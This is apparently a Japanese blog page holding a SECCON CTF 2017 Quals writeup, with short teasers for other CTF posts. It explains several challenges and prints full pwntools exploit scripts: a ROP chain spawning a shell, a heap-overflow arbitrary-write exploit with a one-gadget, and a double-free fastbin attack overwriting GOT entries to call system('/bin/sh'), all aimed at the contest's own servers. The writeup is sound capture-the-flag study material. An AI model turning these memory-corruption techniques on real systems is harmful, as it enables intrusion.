SECCON Beginners CTF 2018 writeups

SECCON Beginners CTF 2018 writeups

一人チームsobaya009で出ました。
Web, Rev, Pwnだけ解きました。

RevのActivation, crackme, Message from the future, PwnのSeczonのwriteupを載せます。

続きを読む

セキュリティキャンプ事後課題 (前編)

seccamp2017 Advent Calendar 2017 - Adventar 18日目の記事です。

セキュリティキャンプ2017全国大会 集中コースZの実習内容です。
事後課題としてキャンプ終了後にもslackでぼちぼち進捗を生み出していました。
全体的な内容と事後課題の前半部分を紹介したいと思います。

続きを読む

SECCON CTF 2017 Quals writeup

チーム NaruseJunで参加しました。チーム全体で2200点で70位で個人で1400点を入れました。

解いた問題
* putcharmusic
* PowerfulShell
* LogSearch
* Jpegfile
* Thankyouforplaying!
* BabyStack
* Election
* SecureKeyManager

putcharmusic

よくわからない文字列を出力するプログラムのソースコードが渡される。
ソースコードを見ると、周期的に何かを出力してそうだなとイメージできる。
putchar musicで検索すると以下のサイトが出てきてサウンドファイルに変換出来ることがわかる。

Meandering Through Mathematics: Algorithmic Music

この2行のコマンドを実行することで必要なファイルが手にはいる。

./a.out > a.raw
sox -V -r 8k -e un -b 8 -c 1 a.raw -b 16 -e si -L a.wav rate -h 44.1k gain -1 trim 0 30

PowerfulShell

2万行くらいの文字列を連結してiexコマンドの引数に渡して実行する。 コマンドの引数となる文字を別のファイルに出力 出力方法は下記のURLから

$ECCON | Set-Content 'stage1.ps1'

で保存できる。

stage1

Open, Write and Close the file using Powershell

stage1.ps1の中身を読むと鍵盤(a ~ kくらいまで)の音の周波数から小数点を切り捨てた値をsecretと同じ順序で押せば良い。成功すると次のステージへ進める。

stage2

数行の記号ばかりのソースコードソースコードをいじりなから実行すると、最後の行で標準入力とフラグの文字列を比較していることがわかる。
各変数と思われる記号をそれぞれ出力して最後の行の処理に対して置換してやると問題ページからダウンロードしたときのような[char]を連結してiexに渡している処理が出てくる。
この引数に当たる文字列を出力するとフラグが現れる。

LogSearch

flagにアクセスしたlogを探して出して同じパスでアクセスすればよい。 運が良かったのかflagと検索しただけでflag-なんとか で200が返ってきてる場所があった。

JpegFile

取り組んでいた頃には疲れていたので5000bit先頭から1つづつ反転させていってフラグにが見えないか確かめた。4950個めくらいで見つかり2時間くらいかかった。

Thankyouforplaying!

提出するだけ。

BabyStack

go言語で書かれたバイナリファイル。 入力は二箇所あり2回目の入力でスタック上のバッファオーバーフローを引き起こせる。ただし、スタック上の変数まで上書きしてしまうため、rwな適当なアドレスと小さな数値で埋める必要がある。ripを取ったらROPでシェルを取る。具体的にはreadシステムコールで既知アドレスに"/bin/sh"を入力しそれを引数に取るようにexecveシステムコールを呼び出した。

exploit

from pwn import *

context.terminal = 'screen'
binary = './babystack'

p = remote('baby_stack.pwn.seccon.jp', 15285)

#rsp+0x80
name = 'A' * 0x100
msg = ''
for i in range(0, 0xe70 - 0xdb0, 0x18):
    msg += p64(0x20)
    msg += p64(0x4c1c00)
    msg += p64(0x20)
msg += 'A' * 8#p64(0x4c1c00)
msg += p64(0x4c1c00)
msg += p64(0x20)
msg += p64(0x20)
msg += 'B' * 8 * 23

bss = 0x58e000 + 0x100
buf = bss + 0x200
# 0x00456889: syscall  ; ret  ;
# 0x004016ea: pop rax ; ret  ;
# 0x00409d68: pop rbx ; and byte [rax+0x01], cl ; ret  ;
# 0x00424548: pop rcx ; or byte [rax+0x01], cl ; ret  ;
# 0x0046ec93: pop rdx ; adc byte [rax-0x01], cl ; ret  ;
# 0x0046defd: pop rsi ; ret  ;
# 0x00470931: pop rdi ; or byte [rax+0x39], cl ; ret  ;
syscall = p64(0x456889)
pa = p64(0x004016ea)
pb = p64(0x00409d68)
pc = p64(0x00424548)
pd = p64(0x0046ec93)
psi = p64(0x0046defd)
pdi = p64(0x00470931)

payload = ''
payload += pa + p64(bss)
payload += pdi + p64(0x0)
payload += psi + p64(buf)
payload += pd + p64(0x8)
payload += pa + p64(0x0)
payload += syscall
payload += pa + p64(bss)
payload += pdi + p64(buf)
payload += psi + p64(0x0)
payload += pd + p64(0x0)
payload += pa + p64(0x3b)
payload += syscall

msg += payload

p.sendlineafter('Please tell me your name >>', name)
p.sendlineafter('Give me your message >>', msg)

raw_input('GO')
p.sendline('/bin/sh\x00')


p.interactive()

Election

選挙アプリ。

概要

*** Election ***

1. stand
2. vote
3. result
0. eat chocolate
>>
  1. 立候補者を追加する。
  2. 立候補者に投票する。ここでフラグが立ち1が実行できなくなる。
    また、Ojimaが候補者として存在している時にOshimaに投票するとOshimaからOjimaに書き換えるか尋ねられる。
  3. それぞれのvoteを表示する。ここでもフラグが立ち1, 2が実行できなくなる。
  4. ret命令で終了する。

候補者に用いられた構造体はこのようなリストにまとめられている。

typedef struct Candidate {
    char *name; //候補者名
    struct Candidate *next; //リストの次の要素
    uint64_t vote; //得票数
} Candidate;

脆弱性

voteでOshimaに投票してOjimaに書き換えられるかたずれられる時にバッファオーバーフローが存在する。
バッファが0x20byteに対して、0x30 byteまでの入力が可能でオーバーフローした0x10 byteには選択した候補者(Ojima)、8bitのvoteに加算するはずの変数が格納されている。
なので候補者の構造体と加算するはずの数を書き換える事により任意アドレスに値を加算することが出来る。

ただ、注意することとして、1byteづつしか値を加算出来ないことと、この1byteの最上位ビットが立っている場合は符号拡張されて上位のアドレスから1引く事になってしまう。

exploit

最初に"A" * 0x20 + '\0'を脆弱性のある場所に入力する。するとヒープのベースアドレス+0x10に1が加算される。
これを0x20回繰り返すことで候補者の名前をヒープのアドレスが格納されたメモリを指すことが出来る。

ヒープのアドレスがリークしたことでヒープも書き換え可能になり、さっき書き換えた場所をgot領域を指してlibcのアドレスをリークし、同様にしてスタックのアドレスもリークする。

スタックのアドレスがわかったので戻り先にone-gadget-rceを入れてmain関数からretすればシェルが取れる。  

ただ、aslrありの場合ヒープのアドレスが悪いとバグってしまったり、環境によってスタックのオフセットが違う場合もあるので何度か実行する必要がある。

exploit

from pwn import *

context.terminal = 'screen'
binary = './election'
libcName = './libc-2.23.so'

elf = ELF(binary, False)
libc = ELF(libcName, False)

def exploit(offset):
    # p = process(binary, aslr=False, env={"LD_PRELOAD": libcName})
    # p = process(binary, aslr=True, env={"LD_PRELOAD": libcName})
    p = remote('election.pwn.seccon.jp', 28349)

    # gdb.attach(p)
    prompt = '>>'
    def stand(name):
        p.sendafter(prompt, '1\0')
        p.sendafter('Enter the name.', name)
        p.recvuntil('done.')

    def vote(name, rename=None):
        p.sendafter(prompt, '2\0')
        p.sendafter('Show candidates? (Y/n)', 'n\0')
        p.sendafter('Enter the name of the candidate.', name)
        if name[:len("Oshima")] == "Oshima":
            p.sendafter('Would you modify the name and re-vote?', rename)
        p.recvuntil('done')

    def show():
        p.sendafter(prompt, '2\0')
        p.sendafter('Show candidates? (Y/n)', 'Y\0')
        p.recvuntil('Candidates:')
        p.recvuntil('\n')
        lst = map(lambda x: x[2:], p.recvuntil('Enter')[:-5].split('\n'))
        p.send('null')
        return lst

    def result():
        return p.recvuntil('done.')

    puts_got = 0x601f90
    obj_list = 0x602028
    obj_lv   = 0x602010

    def write(addr, value, original=0):
        print "write addr: %s, value: %s" % (hex(addr), hex(value))
        print '\n'
        i = 0
        isCarry = False
        while value > 0 or original > 0:
            if isCarry:
                value -= 1
            isCarry = False
            for j in range(2):
                payload = 'yes\0'
                payload = payload.ljust(0x20, 'A')
                payload += p64(addr + i - 0x10)
                diff = (value&0xff) - (original&0xff)
                if diff < 0:
                    isCarry = True
                    diff += 0x100

                if diff&1 and j == 0:
                    diff >>= 1
                    diff += 1
                else:
                    diff >>= 1
                # print hex(value&0xff), hex(original&0xff), hex(diff)
                payload += p64(diff & 0xff)
                payload = payload[:-1]
                vote('Oshima', rename=payload)
            value >>= 8
            original >>= 8
            i += 1
            print "isCarry: %s" % isCarry

    for i in range(0x20):
        payload = 'yes\0'.ljust(0x20, 'A')
        vote('Oshima', rename=payload)

    heapBase = u64(show()[2].ljust(8, '\0')) - 0x70
    print 'heapBase: %s' % hex(heapBase)

    write(heapBase+0x10, puts_got, heapBase + 0x50)
    write(heapBase+0x14, 0, 1)
    libcBase = u64(show()[2].ljust(8, '\0')) - libc.symbols['puts']
    print 'libcBase: %s' % hex(libcBase)

    environ = libcBase + libc.symbols['environ']
    print 'environ: %s' % hex(environ)

    write(heapBase+0x10, environ, puts_got)
    envAddr = u64(show()[2].ljust(8, '\0'))
    print 'envAddr: %s' % hex(envAddr)

    returnAddr = libcBase + 133168
    returnStack = envAddr - offset

    print 'returnStack: %s' % hex(returnStack)

    try:
        one_gadget = libcBase + 0xf1117
        write(returnStack, one_gadget, returnAddr)
        p.sendlineafter(prompt, '0')
        p.sendline('echo pwned')
        p.recvuntil('pwned')
        p.interactive()
        return False
    except EOFError:
        p.close()
        return True

# exploit(240)
offset = 200
while exploit(offset):
    offset += 8
    print offset

SecureKeyManager

概要

                 (省略)


Set Your Account Name >> kriw
Set Your Master Pass >> kriw

1. add
2. show
3. edit
4. remove
9. change master pass
0. exit
>>

最初にアカウント名、パスワードを既知アドレスに入力することが出来る。
その後にkeyを追加、編集、削除が出来る。
また、2のshowは実行しても何も表示がされない。

脆弱性

removeでdouble freeが出来る。

exploit

方針として、double freeからfastbins unlink attackにつなげてGOT Overwriteでfreeをprintfに変え、strchrをsystem関数に書き換えることでシェルの起動をする。

最初に入力したアカウント名をfastbinsのチャンクサイズ"\x71"にしておき、addでサイズを0x48になるものを2つ確保し、0, 1, 0の順にremoveしたあと、addで0x48のサイズを指定することでfree済みのチャンクが手に入りアカウント名をチャンクのメタデータにしたfastbins unlink attackが可能となる。

これによってkeyとkey_mapを自由に書き換えられる。またeditではmalloc_usable_sizeが用いられており、書き換えが可能なのはチャンクのアドレス+0x20以降でしか無いためkeyの書き換えによる任意アドレスの書き換えはムズカシイ。 なので、freeを書き換えるためにgot領域の先頭+2 (= 0x60)をサイズにしたfastbins unlink attackを再びし、freeを書き換えて、その後はkeyをよしなに書き換えてgot上のstrchrをsystemに書き換えることでsystem("/bin/sh")を呼び出すことが出来る。

from pwn import *

context.terminal = 'screen'
binary = './secure_keymanager'
libcName = './libc-2.23.so'

elf = ELF(binary, False)
libc = ELF(libcName, False)

p = remote('secure_keymanager.pwn.seccon.jp', 47225)

account = '\x71'
master = 'qiyo'

p.sendafter('Set Your Account Name >>', account)
p.sendafter('Set Your Master Pass >>', master)

prompt = '>>'
def add(length, title, payload):
    p.sendlineafter(prompt, '1')
    p.sendlineafter('Input key length...', str(length))
    p.sendafter('Input title...', title)
    p.sendafter('Input key...', payload)
    p.recvuntil('done')

def edit(index, payload):
    p.sendlineafter(prompt, '3')
    p.sendafter('Input Account Name >>', account + '\0')
    p.sendafter('Input Master Pass >>', master + '\0')
    p.sendafter('Input id to edit...', str(index))
    p.sendafter('Input new key...', payload)

def remove(index):
    p.sendlineafter(prompt, '4')
    p.sendafter('Input Account Name >>', account + '\0')
    p.sendafter('Input Master Pass >>', master + '\0')
    p.sendafter('Input id to remove...', str(index))
    p.recvuntil('done')

add(0x48, 'A', 'A')
add(0x48, 'B', 'B')
add(0x100, 'B', 'B')
add(0x28, 'B', 'B')
edit(2, 'A')
remove(2)
remove(0)
remove(1)
remove(0)

add(0x48, p64(0x6020b8), 'B')
add(0x48, 'B' * 0x1f, 'B')
add(0x48, 'B' * 0x1f, 'B')
title = 'A' * 0x18
title += p64(0x6020c8)[:-1]
key = ''
key += '\0' * 8 * 7
key += '\x01' + '\x00' * 0xd
add(0x48, title, key)

add(0x38, 'A', 'A')
add(0x38, 'B', 'B')
add(0x28, 'B', 'B')
remove(1)
remove(2)
remove(1)
add(0x38, p64(0x601ffa), 'B')
add(0x38, 'B', 'B')
add(0x38, 'B', 'B')
title = 'A' * 0xe
title += p64(elf.plt['printf'])[:-1]
key = '\x40'
add(0x38, title, key)

key = ''
key += 'A' * 8 + p64(elf.got['puts']) * 6
key += '\x01' * 0xe
edit(0, key)

p.sendlineafter(prompt, '4')
p.sendafter('Input Account Name >>', account + '\0')
p.sendafter('Input Master Pass >>', master + '\0')
p.sendafter('Input id to remove...', str(2))
libcBase = u64(p.recvuntil('done')[:-4].ljust(8, '\0')) - libc.symbols['puts']
system = libcBase + libc.symbols['system']
print 'libcBase: %s' % hex(libcBase)
print 'system: %s' % hex(system)

key = ''
key += 'A' * 8 + p64(0x602009) * 6
key += '\x01' * 0xe
edit(0, key)

key = '/bin/sh\0' + 'A' * 7 + p64(system)[:-1]
edit(4, key)


p.interactive()